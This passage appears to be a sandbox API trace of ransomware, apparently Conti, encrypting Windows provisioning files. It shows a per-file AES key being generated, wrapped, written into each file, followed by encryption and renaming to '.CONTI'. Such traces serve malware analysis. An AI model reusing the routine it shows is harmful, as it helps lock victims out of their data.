	[0113.404] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0113.404] GetProcessHeap () returned 0x1720000
	[0113.404] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.404] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0113.404] GetProcessHeap () returned 0x1720000
	[0113.404] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bbe70 | out: hHeap=0x1720000) returned 1
	[0113.404] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.404] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65bfe50 | out: phKey=0x65bfe50*=0x17c8470) returned 1
	[0113.405] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bfe54, pdwDataLen=0x587f8ac | out: pbData=0x65bfe54*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.405] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.405] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.406] GetLastError () returned 0x0
	[0113.406] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=714) returned 1
	[0113.406] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0113.406] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.406] SetEndOfFile (hFile=0x384) returned 1
	[0113.406] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.406] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.406] WriteFile (in: hFile=0x384, lpBuffer=0x65bfe54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65bfe54*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.408] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.408] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2ca, lpOverlapped=0x0) returned 1
	[0113.408] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2ca, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0113.408] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.408] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.408] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.408] WriteFile (in: hFile=0x384, lpBuffer=0x65bfe48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65bfe48*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.408] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.408] CloseHandle (hObject=0x384) returned 1
	[0113.408] GetProcessHeap () returned 0x1720000
	[0113.408] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.409] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml"
	[0113.409] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.409] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\604__connections_cellular_saunalahti (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.409] GetProcessHeap () returned 0x1720000
	[0113.409] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.409] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0113.409] GetProcessHeap () returned 0x1720000
	[0113.409] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8a08 | out: hHeap=0x1720000) returned 1
	[0113.409] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.410] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65c02e0 | out: phKey=0x65c02e0*=0x17c85b0) returned 1
	[0113.410] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c02e4, pdwDataLen=0x587f8ac | out: pbData=0x65c02e4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.410] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.410] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.411] GetLastError () returned 0x0
	[0113.411] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=722) returned 1
	[0113.411] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0113.411] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.411] SetEndOfFile (hFile=0x384) returned 1
	[0113.411] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.411] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.411] WriteFile (in: hFile=0x384, lpBuffer=0x65c02e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65c02e4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.413] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.413] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2d2, lpOverlapped=0x0) returned 1
	[0113.413] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d2, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0113.413] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.413] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.413] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.413] WriteFile (in: hFile=0x384, lpBuffer=0x65c02d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65c02d8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.413] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.413] CloseHandle (hObject=0x384) returned 1
	[0113.413] GetProcessHeap () returned 0x1720000
	[0113.413] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.413] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml"
	[0113.414] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.414] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\605__connections_cellular_saunalahti (finland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.414] GetProcessHeap () returned 0x1720000
	[0113.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.414] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.414] GetProcessHeap () returned 0x1720000
	[0113.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba238 | out: hHeap=0x1720000) returned 1
	[0113.414] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.414] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65c0528 | out: phKey=0x65c0528*=0x17c82b0) returned 1
	[0113.414] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c052c, pdwDataLen=0x587f8ac | out: pbData=0x65c052c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.415] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.415] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.416] GetLastError () returned 0x0
	[0113.416] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=732) returned 1
	[0113.416] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0113.416] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.416] SetEndOfFile (hFile=0x384) returned 1
	[0113.416] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.416] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.416] WriteFile (in: hFile=0x384, lpBuffer=0x65c052c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65c052c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.418] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.418] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2dc, lpOverlapped=0x0) returned 1
	[0113.418] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2dc, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0113.418] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.418] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.418] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.418] WriteFile (in: hFile=0x384, lpBuffer=0x65c0520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65c0520*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.418] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.418] CloseHandle (hObject=0x384) returned 1
	[0113.419] GetProcessHeap () returned 0x1720000
	[0113.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.419] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml"
	[0113.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.419] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\606__connections_cellular_tata docomo (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.419] GetProcessHeap () returned 0x1720000
	[0113.419] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.419] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0113.419] GetProcessHeap () returned 0x1720000
	[0113.419] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bc4d8 | out: hHeap=0x1720000) returned 1
	[0113.419] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.420] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65bcc20 | out: phKey=0x65bcc20*=0x17c82b0) returned 1
	[0113.420] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bcc24, pdwDataLen=0x587f8ac | out: pbData=0x65bcc24*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.420] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.420] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\607__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.421] GetLastError () returned 0x0
	[0113.421] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=469) returned 1
	[0113.421] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d5
	[0113.421] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.421] SetEndOfFile (hFile=0x384) returned 1
	[0114.844] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.844] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.844] WriteFile (in: hFile=0x384, lpBuffer=0x65bcc24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65bcc24*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0114.871] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.871] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1d5, lpOverlapped=0x0) returned 1
	[0114.871] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1d5, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1e0) returned 1
	[0114.871] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
